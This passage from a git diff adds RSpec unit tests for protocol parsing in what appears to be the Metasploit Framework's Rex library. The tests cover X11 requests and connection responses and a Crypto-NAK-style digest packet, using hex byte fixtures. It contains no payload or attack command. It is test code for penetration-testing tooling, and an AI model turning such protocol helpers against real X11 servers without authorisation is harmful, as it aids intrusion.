be_falsey + end + + it 'is empty' do + expect(subject.message_digest).to be_empty + end + end + end + + describe '#read' do + let(:subject) { described_class.new.read(packed) } + context 'when there is no MIC' do + let(:packed) { "\x20" + ("\x00".b * 47) } + + describe '#key_identifier' do + it 'is not set' do + expect(subject.key_identifier?).to be_falsey + end + + it 'is zero' do + expect(subject.key_identifier).to eq 0 + end + end + + describe '#message_digest' do + it 'is not set' do + expect(subject.message_digest?).to be_falsey + end + + it 'is empty' do + expect(subject.message_digest).to be_empty + end + end + end + + context 'when there is a key identifier but no message_digest (Crypto-NAK)' do + let(:key_identifier) { 0xdead1337 } + let(:packed) { "\x20" + ("\x00".b * 47) + [key_identifier].pack('N') } + + describe '#key_identifier' do + it 'is set' do + expect(subject.key_identifier?).to be_truthy + end + + it 'is correct' do + expect(subject.key_identifier).to eq key_identifier + end + end + + describe '#message_digest' do + it 'is not set' do + expect(subject.message_digest?).to be_falsey + end + + it 'is empty' do + expect(subject.message_digest).to be_empty + end + end + end + + context 'when there is a key identifier and a message digest' do + let(:key_identifier) { 0xdead1337 } + let(:message_digest) { (0..15).to_a } + let(:packed) { "\x20" + ("\x00".b * 47) + [key_identifier].pack('N') + message_digest.pack('C*') } + + describe '#key_identifier' do + it 'is set' do + expect(subject.key_identifier?).to be_truthy + end + + it 'is correct' do + expect(subject.key_identifier).to eq key_identifier + end + end + + describe '#message_digest' do + it 'is set' do + expect(subject.message_digest?).to be_truthy + end + + it 'is empty' do + expect(subject.message_digest).to eq message_digest + end + end + end + end +end diff --git a/spec/lib/rex/proto/x11.rb b/spec/lib/rex/proto/x11.rb new file mode 100644 index 000000000000..fe03d468beec --- /dev/null +++ b/spec/lib/rex/proto/x11.rb @@ -0,0 +1,169 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::X11 do + subject do + mod = ::Msf::Exploit.new + mod.extend described_class + + mod.send(:initialize) + mod + end + + let(:get_property_resp) do + "\x01\x08\x04\x00\x1f\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00" \ + "\x79\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x58\x66\x74\x2e\x64\x70\x69\x3a\x09\x39\x36\x0a\x58\x66\x74\x2e" \ + "\x61\x6e\x74\x69\x61\x6c\x69\x61\x73\x3a\x09\x31\x0a\x58\x66\x74" \ + "\x2e\x68\x69\x6e\x74\x69\x6e\x67\x3a\x09\x31\x0a\x58\x66\x74\x2e" \ + "\x68\x69\x6e\x74\x73\x74\x79\x6c\x65\x3a\x09\x68\x69\x6e\x74\x73" \ + "\x6c\x69\x67\x68\x74\x0a\x58\x66\x74\x2e\x72\x67\x62\x61\x3a\x09" \ + "\x72\x67\x62\x0a\x58\x63\x75\x72\x73\x6f\x72\x2e\x73\x69\x7a\x65" \ + "\x3a\x09\x32\x34\x0a\x58\x63\x75\x72\x73\x6f\x72\x2e\x74\x68\x65" \ + "\x6d\x65\x3a\x09\x59\x61\x72\x75\x0a\x00\x00\x00" + end + + let(:get_property) do + "\x14\x00\x06\x00\x28\x05\x00\x00\x17\x00\x00\x00\x1f\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\xe1\xf5\x05" + end + + let(:creategc) do + "\x37\x00\x05\x00\x00\x00\x00\x01\x28\x05\x00\x00\x08\x00\x00\x00\xff\xff\xff\x00" + end + + let(:get_input_focus) do + "\x2b\x00\x01\x00" + end + + let(:free_gc) do + "\x3c\x01\x02\x00\x00\x00\x00\x02" + end + + let(:intern_atom_wait) do + "\x10\x00\x03\x00\x04\x00\x00\x00\x57\x61\x69\x74" + end + + let(:intern_atom_server_overlay_visuals) do + "\x10\x01\x08\x00\x16\x00\x00\x00\x53\x45\x52\x56\x45\x52\x5f\x4f" \ + "\x56\x45\x52\x4c\x41\x59\x5f\x56\x49\x53\x55\x41\x4c\x53\x00\x00" + end + + describe 'X11GetPropertyResponseHeader' do + context '#read' do + it do + response = Rex::Proto::X11::X11GetPropertyResponseHeader.read(get_property_resp) + expect(response.get_property_type).to eq(31) # \x1f\x00\x00\x00 + expect(response.sequence_number).to eq(4) # \x04\x00 + expect(response.value_length).to eq(121) + end + end + end + + describe 'X11GetPropertyRequest' do + context '#initialize' do + it do + header = Rex::Proto::X11::X11RequestHeader.new(opcode: 20) + body = Rex::Proto::X11::X11GetPropertyRequestBody.new(window: 1320) + expect(header.to_binary_s + body.to_binary_s).to eq(get_property) + end + end + + context '#read' do + it do + request = Rex::Proto::X11::X11Request.read(get_property) + expect(request.header.opcode).to eq(20) + expect(request.body.content_length).to eq(100_000_000) + expect(request.body.window).to eq(1320) + end + end + end + + describe 'X11CreateGraphicalContextRequest' do + context '#initialize' do + it do + header = Rex::Proto::X11::X11RequestHeader.new(opcode: 55) + body = Rex::Proto::X11::X11CreateGraphicalContextRequestBody.new( + cid: 16777216, + drawable: 1320, + gc_value_mask_background: 1 + ) + expect(header.to_binary_s + body.to_binary_s).to eq(creategc) + end + end + + context '#read' do + it do + request = Rex::Proto::X11::X11Request.read(creategc) + expect(request.header.opcode).to eq(55) + expect(request.body.request_length).to eq(5) + expect(request.body.cid).to eq(16777216) + expect(request.body.drawable).to eq(1320) + expect(request.body.gc_value_mask_background).to eq(1) + expect(request.body.background).to eq(16777215) + end + end + end + + describe 'X11GetInputFocusRequest' do + context '#initialize' do + it do + header = Rex::Proto::X11::X11RequestHeader.new(opcode: 43) + body = Rex::Proto::X11::X11GetInputFocusRequestBody.new + expect(header.to_binary_s + body.to_binary_s).to eq(get_input_focus) + end + end + context '#read' do + it do + request = Rex::Proto::X11::X11Request.read(get_input_focus) + expect(request.header.opcode).to eq(43) + end + end + end + + describe 'X11FreeGraphicalContextRequest' do + context '#initialize' do + it do + header = Rex::Proto::X11::X11RequestHeader.new(opcode: 60) + body = Rex::Proto::X11::X11FreeGraphicalContextRequestBody.new( + gc: 33554432 + ) + expect(header.to_binary_s + body.to_binary_s).to eq(free_gc) + end + end + context '#read' do + it do + request = Rex::Proto::X11::X11Request.read(free_gc) + expect(request.header.opcode).to eq(60) + expect(request.body.gc).to eq(33554432) + end + end + end + + describe 'X11InternAtomRequest' do + context '#initialize' do + it do + header = Rex::Proto::X11::X11RequestHeader.new(opcode: 16) + body = Rex::Proto::X11::X11InternAtomRequestBody.new( + name: 'Wait' + ) + expect(header.to_binary_s + body.to_binary_s).to eq(intern_atom_wait) + expect(header.opcode).to eq(16) + expect(body.request_length).to eq(3) + expect(body.name).to eq('Wait') + expect(body.only_if_exists).to eq(0) + + header = Rex::Proto::X11::X11RequestHeader.new(opcode: 16) + body = Rex::Proto::X11::X11InternAtomRequestBody.new( + name: "SERVER_OVERLAY_VISUALS\x00\x00", only_if_exists: 1 + ) + expect(header.to_binary_s + body.to_binary_s).to eq(intern_atom_server_overlay_visuals) + expect(header.opcode).to eq(16) + expect(body.request_length).to eq(8) + expect(body.name).to eq('SERVER_OVERLAY_VISUALS') + expect(body.only_if_exists).to eq(1) + end + end + end +end diff --git a/spec/lib/rex/proto/x11/connect.rb b/spec/lib/rex/proto/x11/connect.rb new file mode 100644 index 000000000000..1dbf27592a9b --- /dev/null +++ b/spec/lib/rex/proto/x11/connect.rb @@ -0,0 +1,1272 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::X11::Connect do + subject do + mod = ::Msf::Exploit.new + mod.extend described_class + + mod.send(:initialize) + mod + end + + let(:conn_request) do + "\x6c\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + let(:conn_error) do + "\x00\x40\x0b\x00\x00\x00\x10\x00Authorization required, but no authorization protocol specified\x0a" + end + + let(:conn_resp) do + "\x01\x00\x0b\x00\x00\x00\x57\x09\x8c\xa5\xb8\x00\x00\x00\x00\x01" \ + "\xff\xff\x1f\x00\x00\x01\x00\x00\x14\x00\xff\xff\x01\x07\x00\x00" \ + "\x20\x20\x08\xff\x00\x00\x00\x00\x54\x68\x65\x20\x58\x2e\x4f\x72" \ + "\x67\x20\x46\x6f\x75\x6e\x64\x61\x74\x69\x6f\x6e\x01\x01\x20\x00" \ + "\x00\x00\x00\x00\x04\x08\x20\x00\x00\x00\x00\x00\x08\x08\x20\x00" \ + "\x00\x00\x00\x00\x0f\x10\x20\x00\x00\x00\x00\x00\x10\x10\x20\x00" \ + "\x00\x00\x00\x00\x18\x20\x20\x00\x00\x00\x00\x00\x20\x20\x20\x00" \ + "\x00\x00\x00\x00\x28\x05\x00\x00\x20\x00\x00\x00\xff\xff\xff\x00" \ + "\x00\x00\x00\x00\x33\x00\xda\x00\x00\x04\x00\x03\x0e\x01\xcb\x00" \ + "\x01\x00\x01\x00\x21\x00\x00\x00\x01\x00\x18\x07\x18\x00\x68\x01" \ + "\x00\x00\x00\x00\x21\x00\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x22\x00\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xa4\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xa5\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xa6\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xa7\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xa8\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xa9\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xaa\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xab\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xac\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xad\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xae\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xaf\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xb0\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xb1\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xb2\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xb3\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xb4\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xb5\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xb6\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xb7\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xb8\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xb9\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xba\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xbb\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xbc\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xbd\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xbe\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xbf\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xc0\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xc1\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xc2\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xc3\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xc4\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xc5\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xc6\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xc7\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xc8\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xc9\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xca\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xcb\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xcc\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xcd\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xce\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xcf\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd0\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd1\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd2\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd3\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd4\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd5\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd6\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd7\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd8\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd9\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xda\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xdb\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xdc\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xdd\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xde\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xdf\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe0\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe1\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe2\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe3\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe4\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe5\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe6\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe7\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe8\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe9\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xea\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xeb\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xec\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xed\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xee\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xef\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf0\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf1\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf2\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf3\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf4\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf5\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf6\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf7\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf8\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf9\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xfa\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xfb\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xfc\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xfd\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xff\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x02\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x03\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x04\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x05\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x06\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x07\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x08\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x09\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x0a\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x0b\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x0c\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x0d\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x0e\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x0f\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x10\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x11\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x12\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x13\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x14\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x15\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x16\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x17\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x18\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x19\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x1a\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x1b\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x1c\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x1d\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x1e\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x1f\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x20\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x21\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x22\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x23\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x24\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x25\x04\x00\x00" \ + 